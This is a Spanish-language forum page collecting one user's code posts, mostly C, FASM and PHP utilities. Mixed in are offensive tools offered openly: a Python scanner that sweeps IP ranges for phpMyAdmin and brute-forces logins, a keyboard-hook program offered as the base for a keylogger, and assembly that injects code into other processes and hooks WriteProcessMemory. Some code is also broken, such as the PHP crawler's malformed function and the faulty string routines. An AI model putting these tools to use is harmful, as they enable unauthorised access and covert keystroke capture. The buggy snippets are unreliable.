Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - linkgl

#1
ASM / Subclasificando una ventana FASM
Diciembre 24, 2012, 08:08:49 PM
Hace mucho hice este código, experimentando y hookeando apis en ring3, lo que hace es cambiar el procedimiento de ventana por uno programado por nosotros y así poder capturar/modificar los mensajes de la ventana de un programa (acá salta un msgbox cada que cambia de posición la ventana, se captura el mensaje WM_WINDOWPOSCHANGED y salta un msgbox y luego manda el mensaje al procedimiento de ventana original para que se mueva la ventana XD) :PP me llevo varios días y nunca le seguí ni lo pulí pero va bien.  :o

Código: asm
;******
; CODED BY LINKGL
; SUBCLASIFICANDO CALCULADORA EN FASM
; FELIZ NAVIDAD ¡!                          -
;                ---      --  --    -  -  / /   ------   ---
;               |   |    |  ||  \  | || |/ /   |  ____| |   |
;               |   |  _ |  ||   \ | ||    \   |  |___  |   |  -
;               |   |_| ||  ||    \  ||  |\ \  |  |   | |   |_| |
;               |_______||__|| _|\___||__| \_\ |______| |_______|
;*****
format PE GUI 4.0
entry start
include 'win32ax.inc'

  linkpi PROCESS_INFORMATION <>
  linksi STARTUPINFO <>
  temp dd ?,0
  tempu dd ?,0
  tam dd ?,0
  handle dd ?,0



  start:

        ;Creamos el proceso y si no existe saltamos a nohayarchivo
        invoke CreateProcessA,0,"c:\windows\system32\calc.exe",0,0,0,0,0,0,linksi,linkpi
        cmp eax,0
        je      .nohayarchivo
        ;Cargamos kernel32.dll
        invoke LoadLibrary,"kernel32.dll"
        mov [temp],eax
        ;Obtenemos la direccion virtual de todas estas API's
        ;Y las almacenamos en distintas variables
        invoke GetProcAddress,[temp],"GetProcAddress"

        mov [gpa],eax

        invoke GetProcAddress,[temp],"LoadLibraryA"
        mov [gmh],eax
        invoke LoadLibrary,"user32.dll"
        mov [tempu],eax
        invoke GetProcAddress,[tempu],"MessageBoxA"
        mov [msgbox],eax
        mov [msggbox],eax
        invoke GetProcAddress,[tempu],"FindWindowA"
        mov [fwa],eax
        invoke GetProcAddress,[tempu],"SetWindowLongA"
        mov [swl],eax
        invoke GetProcAddress,[tempu],"CallWindowProcA"
        mov [cwp],eax

        mov [dir_wproc],WndProc
        ;mov ruta,message

        ;sacamos el tamaño de las dos funciones (inyectame y el procedimiento de ventana)
        ;haciendo una resta de la direccion de donde comienza inyectame hasta la direccion de
        ;la etiqueta final
        mov ebx,final
        sub ebx,inyectame
        mov [tam],ebx
        ;Reservamos ese tamaño en la memoria del proceso a inyectarnos
        ;Escribimos nuestras funciones
        ;Y creamos el hilo donde correran las funciones
        invoke VirtualAllocEx,[linkpi.hProcess],0,[tam],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE
        mov [handle],eax
        invoke WriteProcessMemory,[linkpi.hProcess],[handle],addr inyectame,[tam],0
        invoke CreateRemoteThread,[linkpi.hProcess],0,0,[handle],0,0,0
        ; invoke Sleep,3000
      ;  invoke  MessageBox,0,'Extrayendo todo lo posible','Me he inyectado!',0
       ; invoke ResumeThread,[linkpi.hThread]
        ret
  .nohayarchivo:
        invoke MessageBox,HWND_DESKTOP,'No se pudo abrir el proceso especificado','&Error',0
        ret

proc inyectame
;Tecnica del offset delta
   call offset
   offset:
   pop edx
   sub edx,offset
   mov edi,edx
   mov esi,edx
   mov esi,edx
   mov edi,edx
   push edx

   pop edx
;un msgbox para ver si todo ha ido bien con el titulo de la ventana
   add edx,ventana
      push 0
   push edx
   push edx
   push 0
   call [edi+msgbox]
   ;restauramos el offset delta
   mov edx,edi
   ;calculamos y cargamos en edx la direccion
   ;de la variable ventana
   add edx,ventana
   ;llamamos a findwindowa
   push edx
   push 0
   call [esi+fwa]
   mov ebx,eax
   ;movemos el handle a ebx
   mov esi,edi
   mov edx,edi
   ;igual calculamos la direccion de la winproc
   add edx,WndProc
   ;llamamos a setwindowlong reemplazando la winproc por la nuestra
   ;con esto ya la subclasificamos e instalamos nuestra wproc
   push edx
   push -4
   push ebx
   call [esi+swl]
   mov [esi+prev_proc],eax
   cmp eax,0
   ;si todo ha ido bien ya instalamos nuestra winproc
   ;si no saldra un msgbox
   je salto
   ;c:\windows\system32\calc.exe
   ret
      salto:
  ; mov edx,edi
  ; add edi,ventana
   mov edx,edi
   add edx,ventana
   push 0
   push edx
   push edx
   push 0
   call [edi+msgbox]
   ret


  ;VARIABLES
  ;NOTA: Unas son inecesarias solo las use para debuggear errores
  msgbox dd ?  ;Dirección MessageBox
  tit db "Inyectado",0
  msg db "Ya me inyecte",0
  ventana db "Calculadora",0

  gpa dd ? ;Dir getprocaddress
  gmh dd ? ;Dir loadlibrary/getmodulehandle en su defecto
  fwa dd ? ;FindWindowA
  swl dd ? ;SetWindowLongA
;  cwp dd ? ;callwindowproca
  dir_wproc dd ? ;v_address de la winproc
  hndle dd ?
  chl dd ?


  endp
  ;procedimiento de ventana
proc WndProc, Hwnd, Umsg, wParam, lParam
;tecnica offset delta
   call delta
   delta:
   pop edx
   sub edx,delta
   mov edi,edx
   mov esi,edx
   mov esi,edx
   mov edi,edx
   push edx

   pop edx

   mov esi,edx
   mov edi,edx
   ;comparamos el mnsj de entrada aver si es WM_WINDOWPOSCHANGED (0X0047) VER MSDN
   cmp [Umsg],0x0047
   ;Si es el mensaje saltamos a box
   je box
   mov esi,edx
   ;Llamamos a Callwinproc para mandar los mensajes al procedimiento original y no se cuelge el programa
   push [lParam]
   push [wParam]
   push [Umsg]
   push [Hwnd]
   push [esi+prev_proc]
  call [esi+cwp]
  ;fin
   ret
   box:
   ;llamamos al msgbox
   add esi,msgg
   push 0
   push esi
   push esi
   push 0
   call [edi+msggbox]
   ret
   cwp dd ?
   msgg db "Cambio de posicion la ventana",0
   msggbox dd ?
endp
;DIRECCION de la proc anterior a la que instalamos
  prev_proc dd ?
  final:



data import

  library kernel,'KERNEL32.DLL',\
          user,'USER32.DLL'

  import kernel,\
         GetModuleHandle,'GetModuleHandleA',\
         ExitProcess,'ExitProcess',\
         CreateProcessA,'CreateProcessA',\
         GetProcAddress,'GetProcAddress',\
  VirtualAllocEx,'VirtualAllocEx',\
  WriteProcessMemory,'WriteProcessMemory',\
  CreateRemoteThread,'CreateRemoteThread',\
  LoadLibrary,'LoadLibraryA',\
  ResumeThread,'ResumeThread',\
  Sleep,'Sleep'

  import user,\
         DialogBoxParam,'DialogBoxParamA',\
         CheckRadioButton,'CheckRadioButton',\
         GetDlgItemText,'GetDlgItemTextA',\
         IsDlgButtonChecked,'IsDlgButtonChecked',\
         MessageBox,'MessageBoxA',\
         EndDialog,'EndDialog'
         end data

#2
Códigos Fuentes / Mid o substr en C
Septiembre 06, 2011, 12:07:50 AM
Bueno se perdió el post anterior, pero hice esta función que corta una cadena como mid o substr de php
Código: c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/***********************************
* Coder: Linkgl                    *
* Fecha:17/12/10                   *
***********************************/
char *substr(char * szCadena,int dwInicio,int dwLongitud)
{
  int i;
  char *szNueva=(char *)malloc(strlen(szCadena));
  memset(szNueva,0,strlen(szCadena));
  for(i=dwInicio;i<dwInicio+dwLongitud;i++)
    szNueva[strlen(szNueva)]=szCadena[i];
  return szNueva;
}
//->implementacion
int main ()
{
  printf("La cadena es : %s",substr("funciona con underc0de",13,9));
  getchar();
  return 0;
}
#3
Que tal, bueno para practicar hace un rato había hecho este ejemplo de cómo podría detectar teclas presionadas desde el teclado mediante el uso de hooks :P el resultado fué este:
(pequeña base para un keylogger, para quien lo quiera continuar)
Código: c

/***********************************
* Coder: Linkgl                    *
* Thanks: The swash                *
* Exaple for hooks WH_KEYBOARD_LL  *
***********************************/
#include <windows.h>
#include <stdio.h>
//declaramos el hook publico
HHOOK hHook;

LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
   //llamamos a la estructura y la hacemos puntero para lParam
   KBDLLHOOKSTRUCT kbHookStruct = *(KBDLLHOOKSTRUCT*)lParam;
   //PKDLLHOOKSTRUCT *kbHookStruct = (PKBDLLHOOKSTRUCT *)lParam;
   if(nCode < 0) //si es menor a 0 pasamos al siguiente hook
     return CallNextHookEx(0, nCode, wParam, lParam);
   if(wParam == WM_KEYDOWN) //Si se detecto pulsacion de tecla
       printf("%s", (char *)&kbHookStruct.vkCode); //imprimimos convirtiendo a char *

   return CallNextHookEx(0, nCode, wParam, lParam);
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
   MSG msg;
   //definimos/activamos el hook
   hHook=SetWindowsHookEx(WH_KEYBOARD_LL,(HOOKPROC)LowLevelKeyboardProc,GetModuleHandle(NULL),0);
   //Bucle de mensajes
   while(TRUE==GetMessage(&msg, NULL, 0, 0))
   {
     TranslateMessage(&msg);
     DispatchMessage(&msg);
   }
   //eliminamos el hook
   UnhookWindowsHookEx(hHook);
}
#4
Back-end / [BOT] Spider indexador
Agosto 17, 2011, 12:42:08 PM
Este es un bot spider indexador al cual llamo lindexer (estúpido lo sé...) pero bueno el proyecto consiste en que le das una url inicial al bot y este se mete a los enlaces que encuentre en el sitioweb y los va indexando (o guardando en un txt) y despues se mete a los enlaces de los enlaces y sigue indexando hasta que ya no encuentre más entonces le das una url distinta y sigue indexando, (Aún lo estoy mejorando para que busque mas y mas pero ya funciona bastante bien:

Código: php
<?php
set_time_limit(0);
error_reporting(0);
/*
@Coder: Linkgl
  @Fecha: 14/08/2011
*/
function simpleono($cadena)
{
  $p1=strpos($cadena,"\"");
  $p2=strpos($cadena,"'");
  if($p1!==false && $p2!==false)
  {
    if($p1<$p2)
      return $p1;
    else
      return $p2;
  }
  else
    return 0;
}

function searchanddestroy($cadena,$buscar,$separador)
{
  $arr=explode($cadena,$separador);
  for($i=0;$i<count($arr);$i++)
  {
    if($arr[$i]==$buscar)
      return true;
  }
  return false;
}
function generador($direccion)

$p_inicio=$direccion;
$enlaces=file_get_contents("enlaces.txt");
$c_inicio=file_get_contents($p_inicio);
$c1=strpos($c_inicio,"<a href=");
//BUSCAMOS UN ENLACE
while($c1!==false)
{
  $curret_pos=$c1;
  //INTENTAMOS EXTRAER EL ENLACE
  $url=substr($c_inicio,$c1+9);
  $c2=simpleono($url);
  $enlaces=file_get_contents("enlaces.txt");
  if($c2!==false)
  {
    //echo $url."before";
    $url=substr($url,0,$c2);
    if(strpos($url,"http://")===0 || strpos($url,"www.")===0 || strpos($url,"https://")===0)
    {
      if($url!=$p_inicio)
      {
        if(strpos($enlaces,$url)===false)
        {
          $fp=fopen("enlaces.txt","a");
          fwrite($fp,$url."\n");
          fclose($fp);
          flush();sleep(1);flush();
          echo $url."<br>";
          generador($url);
        }
      }
    }
    else
    {
      $newurl=$p_inicio.$url; //lolz.com/#
      if($url!="")
      {   
        if(searchanddestroy($enlaces,$newurl,"\n")===false && $url!="#")
        {
          $fp=fopen("enlaces.txt","a");
          fwrite($fp,$newurl."\n");
          fclose($fp);
          flush();sleep(1);flush();
          echo $newurl."<br>";
          generador($newurl);
        }
      }
    }
  }
  else
  {
    echo "Cierre de etiqueta no encontrado<br>";
  }
  $c1=strpos($c_inicio,"<a href=",$c1+1);
}
}
if(!isset($_POST['sitioweb']) || empty($_POST['sitioweb']))
{
?>
<form action="#" method="post">
<input type="text" name="sitioweb">
<input type="submit" value="indexar!">
</form>
<?php
}
else
{
echo "Iniciando<br>";
generador($_POST['sitioweb']);
echo "No hay más enlaces<br>";
}
?>


Imagen como va indexando:
#5
Códigos Fuentes / Funcion instr o strpos
Agosto 17, 2011, 12:35:12 PM
Buenas, supongo que conocen la funcion strpos de PHP y la función instr de vb, bueno para el que no, estas funciones buscan una cadena o string, dentro de otra y devuelven la posición en donde se encontró el primer caracter de la cadena a buscar :P

ejemplo
buscar="hola"
cadena="linkholalink"
strpos(cadena,buscar)
Me debe devolver 5

pues hice esta función en C.

Código: c
/*
  @Coder: Linkgl
    @Funcion: Instr o StrPos */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

//prototipo
int instr(char *cadena,char *necesitada);

//->uso
int main()
{
  int x=instr("linkholalink","hola");
  printf("%d",x);
  getchar();
  return 0;
}

//funcion
int instr(char *cadena,char *necesitada)
{
  int iCadena=strlen(cadena);
  int iNecesitada=strlen(necesitada);
  int i;
  char *temp=(char *)malloc(iNecesitada);
  memset(temp,0,iNecesitada);
  for(i=0;i<iCadena*iNecesitada;i++)
  {
    memcpy(temp,cadena+i,iNecesitada);
    if(strcmp((char *)necesitada,(char *)temp)==0)
    {
      free(temp);
      return i+1;     
    }
  }
  free(temp);
  return -1;
}


PD: Me faltan valores negativos  :-\
#6
Códigos Fuentes / Buscar bytes en la memoria virtual
Agosto 16, 2011, 12:24:17 PM
Este código lo hice en base a otro código mío jaja, este es como un "STRPOS" o "INSTR" que busca determinados bytes en la memoria de un programa y retorna la posicion en la que se encuentran, partiendo de una dirección que le des, ejemplo

buscar 0x90
desde 0x401000
retorno 0x40105D
(por poner un ejemplo)

Código: c
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
DWORD FindXBytes(DWORD inicio,LPVOID bytes,LPSTR proceso,DWORD tam)
{
  STARTUPINFO si
  PROCESS_INFORMATION pi;
  ZeroMemory( &si, sizeof(si) );
  ZeroMemory( &pi, sizeof(pi) );
  si.cb = sizeof(si);
  DWORD leidos;
  char *value;
  value=(char *)malloc(tam);
  memset(value,0,tam);
  if(CreateProcess(proceso,"",NULL,NULL,FALSE,NULL,NULL,NULL,&si,&pi))
  {
    ResumeThread(pi.hThread);
    while(ReadProcessMemory(pi.hProcess, (LPVOID)inicio, &value, tam, &leidos))
    {
      if(memcmp(bytes,&value,tam)==0)
      {
        TerminateProcess(pi.hProcess,0);
        return inicio;
      }
      inicio++;
    }
    TerminateProcess(pi.hProcess,0);
    return 0;
  }
  else
  {
    return 0;
  }
}
int main()
{
  //->Ejemplo de uso 
  char buscar[7]={0xFF,0x35,0x50,0x20,0x40,0x00};
  int posicion=FindXBytes(0x401000,buscar,"c:\\crackme2.exe",6);
  if(posicion!=0)
    printf("%s esta en la direccion en memoria-> %X",buscar,posicion);
  else printf("no se encontro %s en la memoria virtual del programa");
  getchar();
  return 0;
}
#7
Códigos Fuentes / Listar directorios recursivamente
Agosto 14, 2011, 02:56:00 PM
El código salió ayudando a un usuario en un foro, lista los directorios que hay dentro de una ruta y los subdirectorios todoosss también xD perfecto como para hacer un buscador ¿?, no me molesté en optimizarlo porque precisamente no fue algo planeado xD

xD
Código: c
#include <windows.h>
#include <string.h>
#include <stdio.h>
#include <ctype.h>


void listarr(LPSTR szDirectorio,LPSTR szNDirectorio)
{
 
  int decoracion_bonita_de_linkgl=1;
  WIN32_FIND_DATA wfd;
  HANDLE ff;
  ff=FindFirstFile(szDirectorio,&wfd);
  if(ff!=0)
  {
    while(FindNextFile(ff,&wfd)!=0)
    {
      if(wfd.dwFileAttributes==FILE_ATTRIBUTE_DIRECTORY)
      {
        if((strcmpi(wfd.cFileName,".")!=0)&&(strcmpi(wfd.cFileName,"..")!=0))
        {
          //printf("%s \n",wfd.cFileName);
          char temp[260]={'\0'};
          char szCDirectorio[260]={'\0'};
          strcpy(szCDirectorio,szNDirectorio);
          strcat(szCDirectorio,wfd.cFileName);
          strcat(szCDirectorio,"/");
          strcpy(temp,szCDirectorio);
          strcat(temp,"*.*");
           
          printf("%s\n",temp);
          //->impresion
          char imp[260]={'\0'};
          strcpy(imp,szNDirectorio);
          strcat(imp,wfd.cFileName);
          strcat(imp,"/");
          //printf("%s\n",imp);
          listarr(temp,szCDirectorio);
        }
      }
    }
  }
  else
  {
    printf("handle error");
  }
}
int main()
{
  listarr("C:/*.*","C:/");
  printf("fin");
  getchar();
  return 0;
}
#8
Python / Python phpmyadmin "BruteForce"
Agosto 14, 2011, 12:23:10 PM
He creado esta versión pública que prueba un user y pass en un rango de ip's que se le otorgue, jeje luego saldrá la otra versión que busca de una manera más inteligente las ip's y con un fichero donde probar distintos users/pass para acceder al phpmyadmin de algun sitio  ;D
Código: python
#!usr/bin/python
import httplib, urllib, urllib2, cookielib
print """
_                ___                                ___
| |              |   \\                              |  _\\
| |__            |  _/                              |   \\
|____| I N K G L |_|  H P M Y A D M I N F I N D E R |___/ R U T E F O R C E
       - indetectables.net/foro/ -
     - Orgulloso de ser Indetectable -
     - funcion-linkgl.blogspot.com -
"""
###############################
# Script desarrollado         #
# por linkgl                  #
# v.Publica                   #
# 03/01/11                    #
# Funcion-linkgl.blogspot.com #
# indetectables.net           #
# Orgulloso de ser            #
# indetectable                #
###############################
ipInicial=raw_input("Introduce la IP inicial\n")
ipFinal=raw_input("Introduce la IP final\n")
contador=1
cont=0
while(ipInicial != ipFinal):
  corte=ipInicial.split(".")
  if (corte[3]!="255"): 
    corte[3]=contador
  else:
    corte[2]=int(corte[2])+1
    corte[3]=0
    contador=1
  ipInicial=corte[0]+"."+corte[1]+"."+str(corte[2])+"."+str(corte[3])

  try:
    conexion = httplib.HTTPConnection(ipInicial,80,timeout=0.2)
    conexion.request ("GET", "/phpmyadmin/index.php")
    respuesta = conexion.getresponse()
    data=respuesta.read()
    if(data.find("phpMyAdmin")!=-1):
      print "LPB bot: phpMyAdmin Encontrado en ->" + ipInicial + "/phpmyadmin<- Iniciando bruteforce"
      fp=open("bd.txt","r")
      linea=fp.readline()
      while(linea!=""):
        log=linea.split(":")
        galleta = cookielib.CookieJar()
        variables = urllib.urlencode({'lang':'en-utf-8','convcharset':'iso-8859-1','server': '1','submit': 'Go','pma_username': log[0],'pma_password': log[1]})
        opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(galleta))
        site = opener.open("http://"+ipInicial+"/phpmyadmin/index.php", variables).read()
        if(site.find(ipInicial)!=-1):
          print "LPB bot: Accediste al sistema -> " + log[0] + ":" + log[1]
        linea=fp.readline()
      fp.close() 
  except:
    cont=0
   
  contador=contador+1
#9
Códigos Fuentes / Detectar EOF usando el PE
Agosto 14, 2011, 12:13:14 PM
Bueno esta función retorna true si existe EOF en un ejecutable y false si no existe jeje saludos!.
Código: c
#include <stdio.h>
#include <windows.h>
/***************************\
*        _                  *
*       | |                 *
*       | |__               *
* Coder |____|inkgl         *
* Fecha: 02/01/11           *
\***************************/

bool existe_EOF(char *ruta)
{
  //-> Estructuras necesarias
  IMAGE_DOS_HEADER idh;
  IMAGE_NT_HEADERS inh;
  IMAGE_SECTION_HEADER ish;
  //-> Variables necesarias
  FILE *fp;
  DWORD iTam;
  DWORD hTam;
  //Abrimos el archivo para leer en binario
  fp=fopen(ruta,"rb");
  if(fp!=NULL)
  {
    fseek(fp,0,SEEK_END);
    iTam=ftell(fp);
    rewind(fp);
    fread(&idh,sizeof(IMAGE_DOS_HEADER),1,fp);
    fseek(fp,idh.e_lfanew,SEEK_SET);
    fread(&inh,sizeof(IMAGE_NT_HEADERS),1,fp);
    fseek(fp,idh.e_lfanew + sizeof(IMAGE_NT_HEADERS) + sizeof(IMAGE_SECTION_HEADER) * (inh.FileHeader.NumberOfSections - 1),SEEK_SET);
    fread(&ish,sizeof(IMAGE_SECTION_HEADER),1,fp);
    fclose(fp);
    hTam=ish.PointerToRawData + ish.SizeOfRawData;
    if(hTam < iTam)
      return true;
    else
      return false;
  }
}

//->USO
int main()
{
  if(existe_EOF("C:\\salida.exe"))
    printf("El ejecutable tiene EOF");
  else
    printf("El ejecutable no tiene EOF");
  getchar();
  return 0;
}
#10
ASM / HOOK WriteProcessMemory
Agosto 14, 2011, 12:10:30 AM
Acá hice un ejemplo donde hookeo a la API WriteProcessMemory, y guardo los bytes que se querían escribir en la memoria en un archivo .txt jeje (la base para un runpekiller ¿?), estoy en la fase optimización (quitando variables que solo use una vez y algunas que usé para debuggear) pero quería compartirlo porque pues me tomó un rato x) ojalá les guste:

PD: No usa dll.
Código: asm
Format PE GUI 4.0
entry start
include 'win32ax.inc'

;@HOOK WriteprocessMemory             |
;  @Coder: linkgl                     |
;    @Fecha: 10/08/11                 |
;      @Agradecimientos:              |
;         The swash, Drinky94         |
;         & Haker Zero/Yst            |
;        @Sitios web:                 |
;          Indetectables.net          |
;          foro.h-sec.org             |
;_____________________________________|
proceso db 'c:\writeprocessmemory.exe',0
linkpi PROCESS_INFORMATION <>
linksi STARTUPINFO <>
temp dd ?,0
tempu dd ?,0
tam dd ?,0
handle dd ?,0


start:
  invoke CreateProcessA,0,addr proceso,0,0,0,CREATE_SUSPENDED,0,0,linksi,linkpi
  invoke LoadLibrary,"kernel32.dll"
  mov [temp],eax
  invoke GetProcAddress,[temp],"VirtualProtect"
  mov [mVP],eax
  invoke GetProcAddress,[temp],"GetProcAddress"
  mov [gpa],eax
  invoke GetProcAddress,[temp],"LoadLibraryA"
  mov [gmh],eax
  invoke GetProcAddress,[temp],"CreateFileA"
  mov [cfa],eax
  invoke GetProcAddress,[temp],"WriteFile"
  mov [wfa],eax
  invoke GetProcAddress,[temp],"SetFilePointer"
  mov [sfp],eax
  invoke GetProcAddress,[temp],"CloseHandle"
  mov [chl],eax

  invoke LoadLibrary,"user32.dll"
  mov [tempu],eax
  invoke GetProcAddress,[tempu],"MessageBoxA"
  mov [msgbox],eax


  mov ebx,final
  sub ebx,inyectame
  mov [tam],ebx
  invoke VirtualAllocEx,[linkpi.hProcess],0,[tam],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE
  mov [handle],eax
  invoke WriteProcessMemory,[linkpi.hProcess],[handle],addr inyectame,[tam],0
  invoke CreateRemoteThread,[linkpi.hProcess],0,0,[handle],0,0,0
; invoke Sleep,3000
  invoke ResumeThread,[linkpi.hThread]
ret

proc inyectame
  ;EDX = DELTAOFFSET
  ;ESI = EBX
  ;EDI = CUALQUIEROTRACOSA
   call offset
   offset:
   pop edx
   sub edx,offset
   mov edi,edx
   mov esi,edx
   mov esi,edx
   mov edi,edx
   push edx
   ;getmodulehandle
   add edx,kernel
   push edx
   call [edi+gmh] ;getmodulehandle
   ;restaurar
   pop edx
   push edx
   ;getprocaddress
   add edx,wpm
   push edx
   push eax
   call [edi+gpa] ;getprocaddress
   mov ebx,eax
   ;restaura
   pop edx
   push edx
   ;virtualprotect
   add edi,originalp
   push edi
   push 0x40
   push 0x5
   push ebx
   call [edx+mVP]
   ;restaura
   pop edx
   mov edi,edx
   push edx
   ;dir.virtual guardada
   add edx,vwriteprocessmemory
   mov dword [edx],ebx
   ;restaura
   pop edx
   ;modifica bytes
   mov byte [ebx],0xE9
   inc ebx
   mov ecx,hook
   add ecx,edx
   sub ecx,ebx
   sub ecx,4
   mov dword [ebx],ecx
   ret

restaurar:
  mov edi,edi ;esto esta en la api al principio
  push ebp   ;esto tambien, fue lo que pisamos
  mov ebp,esp  ;y esto tambien se piso
  ;add edx,vwriteprocessmemory
  mov eax,[edx+vwriteprocessmemory] ;nos desplazamos a la posicion en memoria de la api
  add eax,5 ;y saltamos 5 bytes (los que habiamos escrito)
  jmp eax

hook:
  call ofdelta
  ofdelta:
  pop edx
  sub edx,ofdelta
  mov esi,edx
;->sacamoslos parametros y los pusheamos
  pop eax ;retorno :P
  pop ebx  ;parametros
  mov [edx+p1],ebx
  pop ebx
  mov [edx+p2],ebx
  pop ebx
  mov [edx+p3],ebx
  pop edi
  mov [edx+p4],edi
  push [edx+p4]
  push [edx+p3]
  push [edx+p2]
  push [edx+p1]
  push eax
  ; push eax
  ;Guardamos el delta para que no nos de errores al restaurar el api
  push edx
  ;createfilea
  add edx,ruta
  push 0
  push 0
  push 4
  push 0
  push 0
  push 0x40000000
  push edx
  call [esi+cfa];createfilea
  mov [esi+hndle],eax
  ;restauramos
  pop edx
  mov esi,edx
  push edx
  ;setfilepointer
  push 2
  push 0
  push 0
  push [esi+hndle]
  call [esi+sfp]  ;setfilepointer
  ;restauramos
  pop edx
  mov esi,edx
  push edx
  ;writefile
  add esi,leidos
  push 0
  push esi
  push edi
  push ebx
  push [edx+hndle]
  call [edx+wfa] ;writefile
  ;limpiamos
  pop edx
  mov esi,edx
  push edx

  push [esi+hndle]
  call [esi+chl]

  ;restauramos el offset delta
  pop edx
  mov ecx,edx
  add ecx,restaurar
  ;msgbox->
  jmp ecx



  vwriteprocessmemory dd ? ;Direccion WriteProcessMemory
  msgbox dd ?  ;Dirección MessageBox
  tit db "Inyectado",0
  msg db "Ya me inyecte",0
  mVP dd ? ;Direccion virtualprotect
  originalp dd ?
  kernel db "KERNEL32.DLL",0
  wpm db "WriteProcessMemory",0
  ruta db 'j:\salida.txt',0
  gpa dd ? ;Dir getprocaddress
  gmh dd ? ;Dir loadlibrary/getmodulehandle en su defecto
  cfa dd ? ;Dir createfilea
  wfa dd ? ;Dir writefilea
  sfp dd ? ;Dir setfilepointer
  hndle dd ?
  chl dd ?
  leidos dd ? ;puntero para writefile bytesleidos
  p1 dd ?
  p2 dd ?
  p3 dd ?
  p4 dd ?

  endp
  final:
data import
  library kernel32,'kernel32.dll'
  import kernel32,CreateProcessA,'CreateProcessA',\
  GetModuleHandle,'GetModuleHandleA',\
  GetProcAddress,'GetProcAddress',\
  VirtualAllocEx,'VirtualAllocEx',\
  WriteProcessMemory,'WriteProcessMemory',\
  CreateRemoteThread,'CreateRemoteThread',\
  LoadLibrary,'LoadLibraryA',\
  ResumeThread,'ResumeThread',\
  Sleep,'Sleep'
end data
#11
Esta función modifica el valor de algun registro en runtime, puedes usar openprocess o algun sleep si quieres obtener/escribir el valor en algun evento jeje yo cambié el entrypoint haciendo que al cargar el programa eax cambie de valor en el ejemplo, utilicé la estructura CONTEXT para evitarme líos
Código: c
#include <stdio.h>
#include <windows.h>
 
/*
USOS:
Para obtener el valor de otro registro
cambiar donde dice con.Eax por
con.Registro_que_quieras
*/
 
DWORD ObtenerRegistro(LPSTR proceso)
{
   STARTUPINFO si;
   PROCESS_INFORMATION pi;
   CONTEXT con;
   memset(&si, 0, sizeof(si));
   si.cb = sizeof(STARTUPINFO);
   con.ContextFlags = CONTEXT_FULL;
   if(CreateProcess(NULL, proceso, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)==0)
   {
     return 0;
   }
   GetThreadContext(pi.hThread, &con);
   ResumeThread(pi.hThread);
   return con.Eax;
}
 
BOOL EscribirRegistro(LPSTR proceso,DWORD valor)
{
   STARTUPINFO si;
   PROCESS_INFORMATION pi;
   CONTEXT con;
   memset(&si, 0, sizeof(si));
   si.cb = sizeof(STARTUPINFO);
   con.ContextFlags = CONTEXT_FULL;
   if(CreateProcess(NULL, proceso, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)==0)
   {
     return FALSE;
   }
   GetThreadContext(pi.hThread, &con);
   con.Eax = valor;
   SetThreadContext(pi.hThread,&con);
   ResumeThread(pi.hThread);
   return TRUE;
}
 
//->EJEMPLO DE USO
int main()
{
DWORD eax;
//Cambiamos el valor eax (el entrypoint)
EscribirRegistro("c:\\final.exe",0x413b72f);
eax=ObtenerRegistro("c:\\final.exe");
printf("%x",eax);
getchar();
return 0;
}
#12
ASM / Inyección de código en memoria
Agosto 13, 2011, 12:51:52 PM
Este source es un pedazo de el código que hice para hookear a una API, inyecta código en un nuevo hilo en un proceso, en el ejemplo puse que se ejecutara un msgbox jeje lo comenté para que se entendiera mejor.

Código: asm
Format PE GUI 4.0
entry start
include 'win32ax.inc'

;@Inyección en memoria FASM           |
;  @Coder: linkgl                     |
;_____________________________________|
;Variables necesarias para el programa que va a inyectar
proceso db 'c:\crackme2.exe',0
linkpi PROCESS_INFORMATION <>
linksi STARTUPINFO <>
temp dd ?,0
tempu dd ?,0
tam dd ?,0
handle dd ?,0


start:
  ;Creamos el proceso
  invoke CreateProcessA,0,addr proceso,0,0,0,CREATE_SUSPENDED,0,0,linksi,linkpi
  ;Cargamos user32.dll y sacamos la direccion virtual de MessageBoxA
  invoke LoadLibrary,"user32.dll"
  mov [tempu],eax
  invoke GetProcAddress,[tempu],"MessageBoxA"
  mov [msgbox],eax
  ;Sacamos el tamaño de la funcion a inyectar restando
  ;la dir en memoria de la etiqueta final menos la dir virutal
  ;donde comienza la funcion
  ;(la etiqueta final obviamente debe estar al final de la funcion)
  mov ebx,final
  sub ebx,inyectame
  mov [tam],ebx
  ;Reservamos el espacio en memoria del proceso
  invoke VirtualAllocEx,[linkpi.hProcess],0,[tam],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE
  mov [handle],eax
  ;Escribimos nuestra funcion en el proceso
  invoke WriteProcessMemory,[linkpi.hProcess],[handle],addr inyectame,[tam],0
  ;Creamos un nuevo hilo donde correra nuestro programa inyectado
  invoke CreateRemoteThread,[linkpi.hProcess],0,0,[handle],0,0,0
; invoke Sleep,3000
;continuamos el hilo del programa normal
  invoke ResumeThread,[linkpi.hThread]
ret

proc inyectame
  ;EDX = OffsetDelta
  call offset
  offset:
  pop edx
  sub edx,offset
  ;Movemos el offset delta a edi y esi
  mov edi,edx
  mov esi,edx
  ;Obtenemos la direccion de tit y msg
  ;con ayuda del offsetdelta
  add edi,tit
  add esi,msg
  ;llamamos a la funcion msgbox
  push 0
  push edi
  push esi
  push 0
  call [edx+msgbox]
  ret

  msgbox dd ?  ;Dirección MessageBox
  tit db "Inyectado",0
  msg db "Ya me inyecte",0
  endp
  final:
data import
  library kernel32,'kernel32.dll'
  import kernel32,CreateProcessA,'CreateProcessA',\
  GetProcAddress,'GetProcAddress',\
  VirtualAllocEx,'VirtualAllocEx',\
  WriteProcessMemory,'WriteProcessMemory',\
  CreateRemoteThread,'CreateRemoteThread',\
  LoadLibrary,'LoadLibraryA',\
  ResumeThread,'ResumeThread'
end data
#13
